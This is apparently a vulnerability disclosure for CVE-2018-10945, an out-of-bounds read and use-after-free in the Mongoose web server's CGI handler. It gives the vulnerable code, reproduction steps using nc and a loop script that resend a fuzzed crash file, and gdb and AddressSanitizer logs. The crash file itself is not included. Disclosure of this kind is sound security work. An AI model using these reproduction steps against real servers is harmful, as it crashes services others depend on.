CVE-2018-10945 mongoose越界访问

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hac425 5月 16, 2018
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Hello , I found a vulneratility in mg_handle_cgi function
The function is in mongoose.c , line 8925 

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8923   if (mg_start_process(opts->cgi_interpreter, prog, blk.buf, blk.vars, dir,
8924                        fds[1]) != 0) {
8925     size_t n = nc->recv_mbuf.len - (hm->message.len - hm->body.len);
8926     struct mg_connection *cgi_nc =
8927         mg_add_sock(nc->mgr, fds[0], mg_cgi_ev_handler MG_UD_ARG(nc));
8928     struct mg_http_proto_data *cgi_pd = mg_http_get_proto_data(nc);
8929     cgi_pd->cgi.cgi_nc = cgi_nc;
8930 #if !MG_ENABLE_CALLBACK_USERDATA
8931     cgi_pd->cgi.cgi_nc->user_data = nc;
8932 #endif
8933     nc->flags |= MG_F_HTTP_CGI_PARSE_HEADERS;
8934     /* Push POST data to the CGI */
8935     if (n > 0 && n < nc->recv_mbuf.len) {
8936       mg_send(cgi_pd->cgi.cgi_nc, hm->body.p, n);
8937     }

note line 8925 , n is assigned by nc->recv_mbuf.len - (hm->message.len - hm->body.len) ,
when I debug it , I found that nc->recv_mbuf.len=1024 and hm->message.len - hm->body.len is a small number.
this may lead n > hm->body.len , This would lead program to read the memory out of the hm->body’s memory.
And when I trigger this vulneratility many times (200+) , I got a null pointer dereference (uaf )

Normal Produce

The Steps to produce the vulneratility
Step 1
Download the latest source of mongoose , and compile the code in directory examples/simplest_web_server
Then run it

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wget https://github.com/cesanta/mongoose/archive/6.11.zip
unzip 6.11.zip 
cd mongoose-6.11/examples/simplest_web_server
make 
./simplest_web_server

This would start a http server on port 8000

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01:09 haclh@ubuntu:simplest_web_server $ ./simplest_web_server 
Starting web server on port 8000

Step 2
Use nc to send payload to the 8000 port 

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nc 127.0.0.1 8000 < ~/vmdk_kernel/fuzz_workplace/crash.fuzz

PS: the crash.fuzz file will attach with the email
Then we can get Segmentation fault (core dumped)

Produce With gdb

If you want to produce the vulneratility in gdb， you should send many times (:may be 200+. payload to tigger crash
Step 1
Download and compile the source , and use gdb to start it.

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01:27 haclh@ubuntu:simplest_web_server $ gdb ./simplest_web_server -q
Reading symbols from ./simplest_web_server...done.
(gdb) set follow-fork-mode parent
(gdb) r
Starting program: /tmp/t/mongoose-6.11/examples/simplest_web_server/simplest_web_server 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Starting web server on port 8000

ps: you should set follow-fork-mode parent

Step 2
Send the payload many times to the port

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01:33 haclh@ubuntu:simplest_web_server $ cat cyc.sh 
# !/bin/bash
for i in {1..1000}
do
  nc 127.0.0.1 8000 <  ~/vmdk_kernel/fuzz_workplace/crash.fuzz
  echo $i
done
echo $i
01:33 haclh@ubuntu:simplest_web_server $ ./cyc.sh

I write a shell script to do this.

Then We can see gdb got the crash

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01:27 haclh@ubuntu:simplest_web_server $ gdb ./simplest_web_server -q
Reading symbols from ./simplest_web_server...done.
(gdb) set follow-fork-mode parent
(gdb) r
Starting program: /tmp/t/mongoose-6.11/examples/simplest_web_server/simplest_web_server 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Starting web server on port 8000
Program received signal SIGSEGV, Segmentation fault.
0x00000000004087cf in mg_send (nc=0x6235a0, buf=0x623d10, len=68) at ../../mongoose.c:2635
2635        nc->iface->vtable->tcp_send(nc, buf, len);
(gdb) p nc->iface 
$1 = (struct mg_iface *) 0x0
(gdb) p nc
$2 = (struct mg_connection *) 0x6235a0
(gdb) x/4xg 0x6235a0
0x6235a0:   0x00007ffff7bb4cc8  0x00007ffff7bb4cc8
0x6235b0:   0x0000000000000000  0x0000000000000000
(gdb) x/4xg 0x6235a0-0x10
0x623590:   0x0000000000000000  0x0000000000000161
0x6235a0:   0x00007ffff7bb4cc8  0x00007ffff7bb4cc8
(gdb) x/4xg 0x6235a0-0x10+0x160
0x6236f0:   0x0000000000000160  0x00000000000000e0
0x623700:   0x0000000000623b10  0x0000000000000000
(gdb)

​

we can see that nc->iface is 0x0, and the code want nc->iface->vtable->tcp_send , this lead null pointer dereference
If you know the gibc malloc , you can find that nc is freed

Produce With AddressSanitizer

And you can comile with clang and AddressSanitizer to get more detail information

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clang -fsanitize=address simplest_web_server.c ../../mongoose.c -o simplest_web_server -g -W -Wall -Werror -I../.. -Wno-unused-function  -DMG_DISABLE_DAV_AUTH -DMG_ENABLE_FAKE_DAVLOCK -pthread

then run it and send the payload to the server, you could get the log below it.

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01:19 haclh@ubuntu:simplest_web_server $ ./simplest_web_server 
# Starting web server on port 8000
==16867==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x619000000980 at pc 0x0000004e653d bp 0x7fffb8bab790 sp 0x7fffb8baaf40
READ of size 876 at 0x619000000980 thread T0
# 0 0x4e653c in __asan_memcpy /home/haclh/vmdk_kernel/libfuzzer-workshop-master/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cc:23
# 1 0x53b9d6 in mbuf_insert /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:1477:24
# 2 0x53bafc in mbuf_append /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:1490:10
# 3 0x550dc3 in mg_socket_if_tcp_send /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3356:3
# 4 0x546ffa in mg_send /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2635:5
# 5 0x582179 in mg_handle_cgi /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:8936:7
# 6 0x56e5a5 in mg_send_http_file /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:7967:5
# 7 0x56adb7 in mg_serve_http /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:8072:3
# 8 0x5219c7 in ev_handler /tmp/t/mongoose-6.11/examples/simplest_web_server/simplest_web_server.c:11:5
# 9 0x544af8 in mg_call /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2241:5
# 10 0x55d475 in mg_http_call_endpoint_handler /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:8426:3
# 11 0x55cdb3 in mg_http_handler /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:6245:7
# 12 0x544af8 in mg_call /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2241:5
# 13 0x5494e7 in mg_recv_common /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2689:3
# 14 0x548c38 in mg_if_recv_tcp_cb /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2693:3
# 15 0x5526ca in mg_handle_tcp_read /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3554:7
# 16 0x55196f in mg_mgr_handle_conn /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3679:9
# 17 0x55564b in mg_socket_if_poll /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3877:5
# 18 0x546906 in mg_mgr_poll /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2407:11
# 19 0x52191b in main /tmp/t/mongoose-6.11/examples/simplest_web_server/simplest_web_server.c:33:5
# 20 0x7f4cbf9a582f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
# 21 0x41ad68 in _start (/tmp/t/mongoose-6.11/examples/simplest_web_server/simplest_web_server+0x41ad68)
0x619000000980 is located 0 bytes to the right of 1024-byte region [0x619000000580,0x619000000980)
allocated by thread T0 here:
# 0 0x4e76f8 in __interceptor_malloc /home/haclh/vmdk_kernel/libfuzzer-workshop-master/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88
# 1 0x552521 in mg_handle_tcp_read /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3518:24
# 2 0x55196f in mg_mgr_handle_conn /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3679:9
# 3 0x55564b in mg_socket_if_poll /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:3877:5
# 4 0x546906 in mg_mgr_poll /tmp/t/mongoose-6.11/examples/simplest_web_server/../../mongoose.c:2407:11
# 5 0x52191b in main /tmp/t/mongoose-6.11/examples/simplest_web_server/simplest_web_server.c:33:5
# 6 0x7f4cbf9a582f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/haclh/vmdk_kernel/libfuzzer-workshop-master/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cc:23 in __asan_memcpy
Shadow bytes around the buggy address:
  0x0c327fff80e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c327fff80f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c327fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c327fff8110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c327fff8120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c327fff8130:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c327fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c327fff8150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c327fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c327fff8170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c327fff8180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==16867==ABORTING

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